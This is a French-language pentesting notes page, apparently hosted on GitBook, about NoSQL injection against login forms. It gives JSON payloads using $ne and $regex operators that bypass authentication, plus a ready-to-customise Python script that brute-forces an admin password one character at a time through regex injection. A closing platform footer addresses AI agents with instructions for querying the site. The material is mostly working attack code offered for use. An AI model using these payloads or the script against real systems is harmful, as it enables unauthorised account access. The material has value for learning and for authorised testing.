> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/nosql-attack/nosql-injection-pentesting-web.md).

# Injection NoSQL

<figure><img src="/files/a80fc15bdf7555a0de62ba1fe29bc8bf5f807d6f" alt="" width="563"><figcaption></figcaption></figure>

## Injection NoSQL manuelle avec Burp Suite

Interceptez la requête de connexion avec Burp Suite :

<figure><img src="/files/b2850152344fd76f45e9e85e18945ee51f58f2ba" alt=""><figcaption></figcaption></figure>

Nous pouvons envoyer une requête sous ce format lorsque nous savons que le nom d'utilisateur est **admin**, mais le **mot de passe n'est pas connu** et n'est pas `admin`:

```json
{
  "username": "admin",
  "password": {
    "$ne": "admin"
  }
}

```

<figure><img src="/files/e02eda4bead5c69d0c50f669121ef65238354ebb" alt=""><figcaption></figcaption></figure>

Nous pouvons envoyer une requête sous ce format lorsque nous ne connaissons ni le **le nom d'utilisateur** ni le **mot de passe**:

```json
{
  "username": {
    "$ne": "ThisUserDoesNotExist"
  },
  "password": {
    "$ne": "admin"
  }
}

```

<figure><img src="/files/34dd12643fd047d3d322f1c2ef75f25a7ff003a4" alt=""><figcaption></figcaption></figure>

Nous pouvons envoyer une requête avec ce **regex** lorsque nous savons comment le nom d'utilisateur **commence**; dans ce cas, avec la lettre `un`:

```json
{
  "username": {
    "$regex": "^a"
  },
  "password": {
    "$ne": "admin"
  }
}

```

<figure><img src="/files/fbda251e82da718098b497b869150f73cf1dceac" alt=""><figcaption></figcaption></figure>

## Script Python :

Le script Python ci-dessous automatise le processus et est conçu pour trouver le mot de passe lorsque le nom d'utilisateur est connu. *Personnalisez le nom d'utilisateur et l'URL cible pour chaque situation*:

<figure><img src="/files/34929436164efdf06dd37f462a605f274c60822f" alt=""><figcaption></figcaption></figure>

```python
#!/usr/bin/python3
from pwn import *
import requests, time, sys, signal, string
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
# Injection NoSQL
signal.signal(signal.SIGINT, def_handler)
# Injection NoSQL
login_url = "http://localhost:4000/user/login"
characters = string.ascii_lowercase + string.ascii_uppercase + string.digits
def makeNoSQLI():
    password = ""
    p1 = log.progress("Force brute")
    p1.status("Démarrage du processus de force brute")
    time.sleep(2)
    p2 = log.progress("Mot de passe")
    for position in range(0, 100):
        for character in characters:
            post_data = '{"username":"admin","password":{"$regex":"^%s%s"}}' % (password, character)
            p1.status(post_data)
            headers = {'Content-Type': 'application/json'}
            r = requests.post(login_url, headers=headers, data=post_data)
            if "Connecté en tant qu'utilisateur" in r.text:
                password += character
                p2.status(password)
                break
if __name__ == '__main__':
    makeNoSQLI()

```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/nosql-attack/nosql-injection-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
